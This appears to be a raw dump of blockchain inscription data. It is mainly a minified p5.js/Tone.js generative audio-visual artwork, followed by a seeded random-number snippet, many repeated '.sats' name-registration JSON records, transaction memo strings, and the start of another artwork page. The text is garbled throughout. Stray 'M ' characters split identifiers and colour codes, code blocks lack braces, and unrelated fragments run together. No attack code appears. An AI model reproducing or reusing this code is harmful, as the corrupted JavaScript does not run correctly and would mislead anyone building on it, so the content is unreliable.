"#8041f9"],["#6f6674","#34a0a5","#992843","#f98450","#6eabf4","#3714a1","#445b96"],["#4d82aa","#24c6c6","#d32f53","#f973a0","#7de7ff","#69239b","#8041f9"],["#ff6d40","#361ee0","#992843","#e6c7b4","#9370f2","#3714a1","#445b96"],["#e6372f","#3a338e","#d32f53","#f7f1b4","#8092ff","#69239b","#8041f9"],["#ffa943","#2177f4","#35fc93","#f9cfd2","#6eabf4","#3714a1","#445b96"],["#ffce45","#2f7083","#5affdf","#fcf4b7","#7de7ff","#69239b","#8041f9"],["#41d9f2","#528cd1","#3a6eba","#5f64c1","#4a97f4","#7426bf","#f7d52f"],["#71M f2ff","#249cff","#63a1ea","#7f88db","#56a6f4","#7f0caf","#f7b643"],["#41d9f2","#51fcbb","#d3057b","#295cff","#7d22ff","#51d7e5","#e6c7b4"],["#71f2ff","#81fcca","#f91cb0","#0239c1","#8450d6","#05bdc6","#f7f1b4"],["#43bbef","#53f9e4","#bf2640","#5082ff","#8648ff","#36ffcf","#881ed3"],["#6bcced","#fce586","#f93ebb","#52a1ff","#8e51a8","#05bdc6","#ff0895"],["#a745ed","#fcbbbb","#f20a41","#ffd252","#0606bf","#ff459e","#881ed3"],["#7b19d1","#a7d0f9","#ba0f40","#fcd5bb","#4545ce","#9666ff","#ff0895"],["#31a4dd","#6f3bff",M "#f20a41","#4470a5","#7171f4","#e710f9","#2e92ff"],["#ffffab","#8e7de2","#ba0f40","#9312b2","#85b5f9","#830591","#034a7f"],["#06a0ba","#6f3bff","#f20a41","#8777f7","#4848c1","#6b11f7","#e6c7b4"],["#2bc5cc","#8e7de2","#ba0f40","#6155bf","#4b4bf7","#a318b7","#f7f1b4"],["#06a0ba","#6f3bff","#8473ff","#fce875","#4848c1","#ffb3c9","#2e92ff"],["#2bc5cc","#8e7de2","#9e61ba","#ffd2c7","#0f0fce","#f7e579","#034a7f"],["#c10839","#6f3bff","#ff06a6","#f2a5bb","#4848c1","#117ff7","#579ef2"],["#a20dd3","#8e7de2","#aa08ff","#f2ecM 79","#0f0fce","#a60abc","#1b64ce"],["#06a0ba","#6f3bff","#fca660","#f7f377","#9149bf","#f71165","#31f0ff"],["#2bc5cc","#8e7de2","#dd582a","#ffe09c","#630ca8","#a8275c","#04717c"],["#e041b3","#3e71ff","#ffec64","#77c1f7","#9149bf","#f71165","#e6c7b4"],["#f95089","#8e7de2","#f99175","#1d6bdd","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#0636cc","#8989ef","#e6c7b4","#8005e0","#fc68a4","#3386ff"],["#fc889e","#3b72a3","#2d5cc4","#f7f1b4","#f938cb","#d61a1a","#04717c"],["#f4d334","#3ef6ff","#5347f4","#b877f7","#9149bf","#M f71165","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#6e1ed6","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#f7f777","#9149bf","#ef5090","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#ffce88","#630ca8","#ba0457","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#77c4f7","#9149bf","#f71165","#854fba"],["#fc889e","#1fb2b2","#2d5cc4","#2187bf","#630ca8","#a8275c","#e783ea"],["#f4d334","#3ef6ff","#f97575","#f4dc78","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#cc2929","#f28b79","#630ca8","#a8275c","#f7f1b4M "],["#f4d334","#3ef6ff","#f97575","#f279ab","#9149bf","#645eea","#e6c7b4"],["#fc889e","#52adff","#cc2929","#e81073","#630ca8","#3a3acc","#f7f1b4"],["#3ac9d8","#6f3bff","#44acf2","#fce875","#bf23f9","#ffb3c9","#2e92ff"],["#44acf2","#8e7de2","#6cffff","#ffd2c7","#9449ce","#f7e579","#034a7f"],["#06a0ba","#6f3bff","#fc4c7e","#f9b175","#6c6ce5","#8f58f9","#e6c7b4"],["#2bc5cc","#8e7de2","#cf4ef9","#f7df77","#4949c1","#a915ff","#f7f1b4"],["#ef01c4","#065ca8","#1c00ba","#ffee94","#c053ba","#8f58f9","#4ea8f9"],["#a60160","#M 30bec3","#5e52db","#ffebae","#da55f2","#a915ff","#4febf7"],["#f44260","#3c5ba0","#845ecc","#f4b53f","#3d9fc1","#9c223d","#e6c7b4"],["#f43b79","#4058ad","#6c3ca5","#ef9029","#317ec4","#69239b","#f7f1b4"],["#f44260","#3c5ba0","#7070e8","#f27740","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#4058ad","#4d4dc1","#ef9029","#317ec4","#ed5487","#f7f1b4"],["#f244ee","#5c75c6","#7070e8","#3cd3b6","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#637cc1","#4d4dc1","#1cb7b7","#317ec4","#ed5487","#f7f1b4"],["#e5491f","#2058d3","#7462f9M ","#40f2d0","#123676","#9c223d","#e6c7b4"],["#ef973f","#177199","#6b43dd","#15abba","#4aa4ae","#69239b","#f7f1b4"],["#e22079","#2058d3","#7462f9","#40f2d0","#5a92e5","#9c223d","#e6c7b4"],["#f21c59","#177199","#6b43dd","#15abba","#4658f9","#69239b","#f7f1b4"],["#e22079","#2058d3","#e6c7b4","#40f2d0","#5a92e5","#ba4564","#edf28b"],["#f21c59","#177199","#f7f1b4","#15abba","#4658f9","#e5336a","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#41a9ef","#5a92e5","#bc0d8b","#f7adf7"],["#f21c59","#197abc","#f7f1b4","#36a9cc","#46M 58f9","#d3057f","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#435ced","#e2b55a","#ea397d","#f4e2ae"],["#f21c59","#197abc","#f7f1b4","#7f63f7","#f98562","#e84b3a","#e9f49f"],["#0850b7","#6771f9","#8213bc","#75f9e0","#4848c1","#ffb3c9","#2e92ff"],["#3081e2","#5285dd","#9604af","#15abba","#0f0fce","#f7e579","#034a7f"],["#d80e3e","#6771f9","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ef4878","#5285dd","#9604af","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f98246","#69acf7","#8213bc","#f7ad77","#4848c1","#ffb3c9",M "#31b5ff"],["#ed7d4a","#5285dd","#b529d3","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f7cd48","#69d6f4","#8213bc","#f7ad77","#7649bf","#ffb3c9","#e6c7b4"],["#f49090","#21b5d8","#b529d3","#f4cb78","#5829b2","#f7e579","#f7f1b4"],["#4a82f4","#f22a51","#8213bc","#f7ad77","#905df4","#ffb3c9","#0c85ba"],["#4cb2f2","#b72c4e","#b529d3","#f4cb78","#542ad3","#f7e579","#096889"],["#4a82f4","#f22a51","#1522ba","#f7ad77","#d32fc0","#b6fffa","#0c85ba"],["#4cb2f2","#b72c4e","#483d9b","#f4cb78","#e50a6e","#f1ffb8","#096889"],["#4aM 82f4","#f22a51","#4b23db","#f7ad77","#d1304b","#5b99f4","#1dbcb4"],["#4cb2f2","#b72c4e","#694eea","#f4cb78","#d61660","#5cd3f2","#096889"],["#ad4cf2","#f22a51","#8213bc","#f478b0","#5ff2f2","#ffb3c9","#0c85ba"],["#8b05e2","#b72c4e","#b529d3","#f4cb78","#3ea6b7","#f7e579","#096889"],["#584def","#f22a51","#a52cdd","#f2c679","#60caef","#d2b6ff","#0d53b7"],["#4f24c6","#b72c4e","#b529d3","#efaa7b","#3ea6b7","#f7e579","#458bdd"],["#584def","#ef592b","#2cdbc1","#f2c679","#6290ed","#b8fff1","#0d53b7"],["#4f24c6","#f27949",M "#2ec0d8","#efaa7b","#4067b5","#f7e579","#458bdd"],["#584def","#ed2e8a","#2eacd8","#f2c679","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#efaa7b","#4067b5","#4a4add","#458bdd"],["#584def","#ed2e8a","#2eacd8","#ef9c7b","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#fc583d","#4067b5","#4a4add","#458bdd"],["#b7b7b7","#0a0a0a","#ffffff","#dbdcdd","#b2b2b2","#a7a7a8","#4e4f4f"],["#d8d8d8","#636363","#dbdcdd","#b2b2b2","#4e4f4f","#e0e1e2","#3f3f3f"],],paletteIndex,colorIndex,colorIndex2M ,grayscale,paletteMode,element,flavour,key,trigger=!1,anim=!1,gridIndex=0,count=0,direction,currentChord=0,nextChord=0,keyArray=["C","D","E","F","G","A","B"],flavours=["major","minor"],fifths=[["C","G","D","A","E","B","F#","Db","Ab","Eb","Bb","F"],["A","E","B","F#","C#","G#","D#","Bb","F","C","G","D"]],midSeq4,mapScale,mixer,stereo,synth2,synth4,synth6,synth3,feedback,reverb5,delay5,delay4,delay2,reverb3,lfo,pingPong,pingPong1,panner,autoPan,FFT,wave,meter,pendulum;function centerCanvas(){var e=(windowWidth-width)/M 2,t=(windowHeight-height)/2;cnv.position(e,t)}function setup(){wdt=windowWidth<windowHeight?windowWidth:windowHeight,wdt-=margin,cnv=createCanvas(wdt,wdt),centerCanvas(),bIndex=1,background(0),center=createVector(width/2,height/2),noFill(),noStroke(),smooth(),strokeWeight(1);let e=int(1990*mathRand());noiseSeed(e),randomSeed(e),noiseDetail(2,1),pixelDensity(displayDensity()),initializeAudio();let t=int(map(mathRand(),0,1,0,flavours.length));flavour=flavours[t];let f=int(map(mathRand(),0,1,0,fifths[t].length));key=fM ifths[t][f],mapScale=(scale=(scale=(scale=(scale=(scale=(scale=(scale=Tonal.Scale.get(key+"1 "+flavour).notes).concat(Tonal.Scale.get(key+"2 "+flavour).notes)).concat(Tonal.Scale.get(key+"3 "+flavour).notes)).concat(Tonal.Scale.get(key+"4 "+flavour).notes)).concat(Tonal.Scale.get(key+"5 "+flavour).notes)).concat(Tonal.Scale.get(key+"6 "+flavour).notes)).concat(Tonal.Scale.get(key+"7 "+flavour).notes)).slice(14,28);for(let i=0;i<mapScale.length;i++){mapScale.length,mapScale[i].length>2?keyFifths.push(mapScale[i].sliM ce(0,2)):keyFifths.push(mapScale[i].slice(0,1));.5>random(1)?currentKey-=1:currentKey+=1}let a=[];for(let $=0;$<keyFifths.length;$++)a.push(fifths[t].indexOf(keyFifths[$]));for(let s=0;s<a.length;s++)-1===a[s]&&(keyFifths.splice(s,1),a.splice(s,1));for(let c=0;c<a.length;c++)a[c]===a[0]-1&&(sequence.push(keyFifths[0]),sequence.push(keyFifths[c])),a[c]===a[0]+1&&sequence.push(keyFifths[c]),a[c]===a[0]+3&&(sequence.push(keyFifths[0]),sequence.push(keyFifths[c])),a[c]===a[0]+2&&sequence.push(keyFifths[c]),a[c]===a[0]+M 4&&sequence.push(keyFifths[c]);for(let n=0;n<15;n++)for(let d=0;d<sequence.length;d++)chordArray.push(generateChord(`${sequence[d]}2`,!0));for(let _=0;_<15;_++)for(let r=0;r<sequence.length;r++)bassChord.push(generateChord(`${sequence[r]}3`,!0));paletteMode=mathRand(),paletteIndexSub=(paletteIndex=2*int(map(mathRand(),0,1,0,50)))+1,paletteIndex3=2*int(map(mathRand(),0,1,0,50)),colorIndex=int(map(mathRand(),0,1,0,palette1[0].length)),colorIndex2=int(map(mathRand(),0,1,0,palette1[0].length)),paletteType=mathRand(),grM ayscale=98===paletteIndex,oscill=mathRand(),oscill2=mathRand(),format=mathRand(),direction=int(map(mathRand(),0,1,0,2)),format<.5?(w=width,h=.4*height):(w=.4*width,h=height),tileWidth=floor(w/sclX)+1,tileHeight=floor(h/sclY)+1,chordNotes=chordArray;for(let b=0;b<=w;b+=tileWidth)for(let o=0;o<=h;o+=tileHeight){let l=gridIndex;points.push(new GridPoint(b-w/2,o-h/2,tileWidth,tileHeight,0,l,0)),gridIndex=(gridIndex+1)%14}let p=map(mathRand(),0,1,.1,.5),u=points;for(let y in points)mathRand()>p?(points[y].subdivide(u,y,M 2),points.splice(y,1),count++):(u.push(points[y]),points.splice(y,1));element=(points=u).length;let g;g=paletteMode<.5?7:3,window.$generativeTraits={Type:"Audio",BPM:"60",Aspect:"Grid",Key:key,Flavour:flavour,Elements:element,Subdivision:count,Palette:g,Grayscale:grayscale,Property:"Object"}}function initializeAudio(){Tone.Transport.bpm.value=60,(mixer=new Tone.Gain).toDestination(),FFT=new Tone.FFT(64),Tone.Master.connect(FFT),wave=new Tone.Waveform,(pendulum=new Tone.LFO(.05)).start(),(meter=new Tone.Meter).normaM lRange=!0,pendulum.connect(meter),panner=new Tone.Panner(0).chain(mixer);let e=new Tone.Chorus({frequency:.83,depth:.7,wet:.85}),t=new Tone.Reverb({decay:3/4,wet:.5});t.generate();let f=new Tone.FeedbackDelay({delayTime:3/8,feedback:.32,wet:.36});(pingPong=new Tone.PingPongDelay(3/4,.5).toDestination()).set({wet:.3});let i=new Tone.Filter(2250,"lowpass",-24),a=new Tone.Filter(320,"highpass",-48);new Tone.LFO(1,250,2250).connect(i.frequency).start();let $=new Tone.FeedbackDelay({delayTime:.005,feedback:.1,wet:.33});M new Tone.LFO(1,-1,1).connect(panner.pan).start(),(synth4=new Tone.PolySynth(Tone.FMSynth).chain(e,f,t,pingPong,i,a,$,mixer)).set({harmonicity:3,modulationIndex:3,oscillator:{type:"sine"},envelope:{attack:2e-4,decay:.1,sustain:.08,release:.03},modulation:{type:"sine"},modulationEnvelope:{attack:4e-4,decay:.1,sustain:.09,release:.01},filterEnvelope:{attack:2e-4,decay:.2,sustain:.5,release:.4,baseFrequency:200,octaves:2.6},volume:-16}),delay5=new Tone.FeedbackDelay({delayTime:3/8,feedback:.3,wet:.2});let s=new Tone.ReM verb({decay:3/16,wet:.25});s.generate();let c=new Tone.Filter(2250,"lowpass",-24);(synth6=new Tone.PolySynth(Tone.Synth).chain(delay5,s,pingPong,c,mixer)).set({harmonicity:3,modulationIndex:3,detune:0,oscillator:{pitch:7,type:"sine"},envelope:{attack:1,decay:.1,sustain:.02,release:.03},modulation:{type:"sine"},modulationEnvelope:{attack:1.5,decay:.1,sustain:.02,release:.06},filterEnvelope:{attack:2,decay:.2,sustain:.5,release:.4,baseFrequency:200,octaves:2.6},volume:-24}),synth6.connect(wave),Tone.Transport.schedulM eRepeat(()=>{pingPong.set({delayTime:random([3/4,3/16,3/8,.25])}),pingPong.set({wet:random([0,.1,.5])}),f.set({delayTime:random([3/8,.25])}),delay5.set({delayTime:random([3/8,.25])})},"2m")}function draw(){background(0,20),translate(center.x,center.y);let e=.5-meter.getValue(0),t=wave.getValue(0),f=FFT.getValue(0),i=map(e,-.5,.5,-PI,PI);for(let a=0;a<points.length;a++)points[a].r=points[a].r3,points[a].move(),points[a].animate(a,i,f),points[a].render(),points[a].display(a,t,f),points[a].start+=.1,points[a].offset+=M .006;anim&&(start+=.02),trigger&&(playChord(),Tone.Transport.start(),trigger=!1)}function playChord(){Tone.Transport.schedule(bounceChord,"1"),Tone.Transport.start()}function bounceChord(){currentChord=nextChord,Promise.all([playSynthChord(chordNotes[currentChord],12,12),playStringChord(bassChord[currentChord],6,6),]).then(e=>{int(random(2));let t=int(random(6,18))+"m";!function f(i){let a=e[0],$=e[1];new Tone.BufferSource({url:a,playbackRate:.125}).toDestination().start(i),new Tone.BufferSource({url:$,playbackRateM :.125}).toDestination().start(i),Tone.Transport.scheduleOnce(f,"+"+t)}(Tone.now())}),Tone.Transport.start(),nextChord<chordNotes.length-1?nextChord+=1:nextChord=0,Tone.Transport.schedule(bounceChord,"+2m")}function playSynthChord(e,t,f){let i=Tone.Time(t).toSeconds(),a=Tone.Time(f).toSeconds();return Tone.Offline(()=>{synth6.triggerAttackRelease(e,i)},i+a)}function playStringChord(e,t,f){let i=Tone.Time(t).toSeconds(),a=Tone.Time(f).toSeconds();return Tone.Offline(()=>{synth4.triggerAttackRelease(e,i)},i+a)}functioM n voicing(e,t){let f=scale.indexOf(e)+t-1,i;if(void 0!==scale[f])i=scale[f];else if(3===(i=scale[f-7]).length)parseInt(i.slice(2));else{let a=parseInt(i.slice(1))+1;i=`${i.slice(0,1)}${a}`}return i}const getNextChordNote=(e,t)=>{let f=scale.indexOf(e)+t-1,i;if(void 0!==scale[f])i=scale[f];else if(3===(i=scale[f-7]).length)parseInt(i.slice(2));else{let a=parseInt(i.slice(1))+1;i=`${i.slice(0,1)}${a}`}return i};function generateChord(e,t){let f=1,i=1,a=1,$=1,s=1,c=1,n=1;t?(f=generateIndice1(),i=generateIndice1(),a=geM nerateIndice1(),$=generateIndice1(),s=generateIndice(),c=generateIndice2(),n=generateIndice2()):(f=1,i=1,a=1,$=1,s=1,c=1,n=1);let d=voicing(e,f),_=voicing(getNextChordNote(e,3),i),r=voicing(getNextChordNote(e,5),a),b=voicing(getNextChordNote(e,7),$),o=voicing(getNextChordNote(e,9),s);return voicing(getNextChordNote(e,11),c),voicing(getNextChordNote(e,13),n),[d,_,r,b,o]}function generateIndice(){let e=int(map(mathRand(),0,1,0,3));return 0===e?-8:1===e?1:2===e?8:void 0}function generateIndice1(){return mathRand()>.5?M 1:8}function generateIndice2(){return mathRand()>.5?-8:1}class GridPoint{constructor(e,t,f,i,a,$,s){int(map(e+t,-width/2+-height/2,width/2+height/2,0,sclX+sclY)),int(map(t,-height/2,height/2,0,4)),this.x=e,this.y=t,this.w=f,this.c2=f,this.wx=e,this.hy=t,this.ws=f,this.hs=i,this.h=i,this.r=f,this.r2=f,this.r3=f,this.mv=0,this.theta=0,this.centerX=this.x+this.w/2,this.centerY=this.y+this.h/2,this.c=int(map(mathRand(),0,1,0,3)),this.paletteIndex2=int(map(dist(this.centerX,this.centerY,0,0),0,500,0,palette1[0].length))M ,this.randForm=int(map(mathRand(),0,1,0,5)),this.randIndex=paletteMode<.5?int(map(mathRand(),0,1,0,palette1[0].length)):paletteIndex2,this.randIndex2=int(map(mathRand(),0,1,0,palette1[0].length)),this.randIndex3=int(map(mathRand(),0,1,0,palette1[0].length)),this.randIndex4=int(map(mathRand(),0,1,0,palette1[0].length)),this.start=0,this.alpha=255,this.pIndex=paletteIndex,this.pi=paletteIndex3,this.rt=map(mathRand(),0,1,PI/6,PI/3),this.incr,this.rst=random(0,TAU),this.rst2=random(0,TAU),this.rad=0,this.sub=s,this.offM set=20*mathRand(),this.offset2=0,this.div=int(map(mathRand(),0,1,10,30)),this.strk=1,this.isOn=a,this.note=$,this.init(),paletteIndex2=(paletteIndex2+1)%3}subdivide(e,t,f){let i=this.w/f,a=this.h/f,$=this.sub+1,s=this.note+7;e.push(new GridPoint(this.x,this.y,i,a,this.isOn,s,$),new GridPoint(this.x+i,this.y,i,a,this.isOn,s,$),new GridPoint(this.x,this.y+a,i,a,this.isOn,s,$),new GridPoint(this.x+i,this.y+a,i,a,this.isOn,s,$))}move(){if(0<=this.t&&this.t<this.t1){let e=norm(this.t,0,this.t1-1);this.mv=lerp(0,TAU,easeM OutQuint(e)),this.rad=lerp(0,this.w/4,easeOutQuint(e))}this.t1<this.t&&this.init(),this.t++}init(){this.t=-int(random(map(speed,1,5,500,100))),this.t1=map(speed,1,5,220,60)}animate(e,t,f){this.theta=t+e*PI/4;let i=int(map(this.x,-width/2,width/2,0,f.length)),a=f[i];a=a===-1/0?0:f[i],this.incr=map(a,0,-100,0,.2),this.i=map(e,0,points.length,0,TWO_PI),this.xoff=map(cos(this.i),-1,1,0,3),this.yoff=map(sin(this.i),-1,1,0,3),this.n=noise(this.xoff+this.offset+this.incr,this.yoff+this.offset+this.incr),this.n4=noise(thisM .xoff+50,this.yoff+50),this.n5=noise(this.xoff+50+start,this.yoff+50+start),this.n6=noise(this.offset,this.offset),this.angle=noise(this.xoff+this.offset,this.yoff+this.offset)*TAU*4,this.xa=this.x,this.ya=this.y*sin(map(this.n,0,1,0,TAU)),this.xb=this.x*sin(this.mv),this.r=map(this.n,0,1,this.w/2,this.w),this.r3=map(this.n,0,1,this.w/2,this.w),this.r2=map(this.n,0,1,0,5),this.alpha=map(this.n5,0,1,120,180),this.delay=int(map(this.n4,0,1,2,1))}render(){strokeWeight(.1);fill(color(palette1[this.pIndex][this.randIndeM x])),circle(this.x,this.ya,this.r2),circle(this.x+this.w,this.ya,this.r2),circle(this.x,this.ya+this.h,this.r2),circle(this.x+this.w,this.ya+this.h,this.r2)}display(e,t,f){if(0===direction)for(let i=this.ya;i<=this.ya+this.h;i+=2){beginShape();for(let a=this.xa;a<=this.xa+this.w;a+=5){let $=int(map(this.ya*this.xa,(this.ya+this.h)*(this.xa+this.w),0,f.length)),s=f[$];s=s===-1/0?0:f[$],this.incr2=map(s,0,-100,0,6),this.n3=noise(this.incr2,this.incr2),this.n2=noise(this.xoff+this.offset2+this.incr2,this.yoff+this.offM set2+this.incr2),this.n4=map(this.n3,0,1,.9,1.1),this.z=oscill<.5?map(this.n2,0,1,.9,1.1):1;let c=int(map(this.n2,0,1,0,255));int(map(this.n2,0,1,0,palette1[0].length));let n=map(i,this.y,this.y+this.h,0,1),d,_=color(palette1[this.pIndex][this.randIndex]),r=color(palette1[this.pIndex+1][this.randIndex]);(d=lerpColor(_,r,n)).setAlpha(c),noFill(),stroke(d),strokeWeight(.5),vertex(a,i*this.z),this.offset2+=.1}endShape()}else if(1===direction)for(let b=this.xa;b<=this.xa+this.w;b+=2){beginShape();for(let o=this.ya;o<=tM his.ya+this.h;o+=5){let l=int(map(e,points.length,0,f.length)),p=f[l];p=p===-1/0?0:f[l],this.incr2=map(p,0,-100,0,3),this.n3=noise(this.incr2,this.incr2),this.n2=noise(this.xoff+this.offset2+this.incr2,this.yoff+this.offset2+this.incr2),this.n4=map(this.n3,0,1,.9,1.1),this.z=oscill<.5?map(this.n2,0,1,.9,1.1):1,this.z2=oscill2<.5?map(this.n2,0,1,.999,1.009):1;let u=int(map(this.n2,0,1,0,255));int(map(this.n2,0,1,0,palette1[0].length));let y=map(o,this.y,this.y+this.h,0,1),g,x=color(palette1[this.pIndex][this.randIndM ex]),m=color(palette1[this.pIndex+1][this.randIndex]);(g=lerpColor(x,m,y)).setAlpha(u),noFill(),stroke(g),strokeWeight(.5),vertex(b*this.z2,o*this.z),this.offset2+=.1}endShape()}if(0===this.c);else if(1===this.c){strokeWeight(.5);let v=0;for(let I=1;I<t.length;I++)if(t[I-1]<0&&t[I]>=0){v=I;break}let k=v+t.length/2,F=100*this.h;for(let C=v;C<=k;C++){let S=map(C-1,v,k,this.xb,this.xb+this.w),T=map(t[C-1],-12,12,this.y-F,this.y+F+this.h),P=map(C,v,k,this.xb,this.xb+this.w),q=map(t[C],-12,12,this.y-F,this.y+F+this.h);lM ine(S,T,P,q)}}}}function mapNote(e,t){let f=t.length,i=t[modulo(e,f)],a=Tonal.Note.octave(t[0])+floor(e/f);return Tonal.Note.pitchClass(i)+a}function modulo(e,t){return(e%t+t)%t}function easeOutQuint(e){return 1+--e*e*e*e*e}function windowResized(){centerCanvas()}function keyTyped(){return"p"===key&&saveCanvas("liquidentropy","jpg"),!1}function touchStarted(){return Tone.start(),anim||(trigger=!0,Tone.Transport.start()),anim=!0,3===touches.length&&saveCanvas("liquidentropy","jpg"),!1}function mousePressed(){return M Tone.start(),anim||(trigger=!0,Tone.Transport.start()),anim=!0,!1} <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('M let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (M r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); background-color: #000000; margin: 0px; overflow: hidden; width: 100%; height: 100%; <script type="text/javascript"> FjDOUT:B76E8EE56793829C6036A8C63F8C1C0CA351FEEE438F4A0AA5029C1527BFE2A5 FjDOUT:79D2A95508DD3D7D354A21B28C50280D7167495C7F352B84D8C279EACAEA2723 text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"earlgrey.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"aijob.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"aimeta.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"aigames.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"aijobs.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"aifinance.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"aigame.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"78789.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! CjA=:ETH.ETH:0x1FF4EdC852aCa7fc2e9806bd812127182831AE9e:3767500:te:0 text/plain;charset=utf-8 "name": "GBTC.sats" text/plain;charset=utf-8 "name": "ren.sats" text/plain;charset=utf-8 "name": "kobebryant.sats" IjGREFUND:87F33EA7C441E8203CFBA62A90B4C46C4D2A06BB81ABC2E9D15EA998CB335DCB IjGREFUND:35F45468A455D38F3B72F3500117C23ED0D6D0C40F7D1C4F635E639D92EA66D1 text/html;charset=utf-8 <meta charset="UTF-8"> <title>"Rays" by Pawe Dudko | pdudko.com</title> <script id="snippet-random-code" type="text/javascript"> // not editable let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = 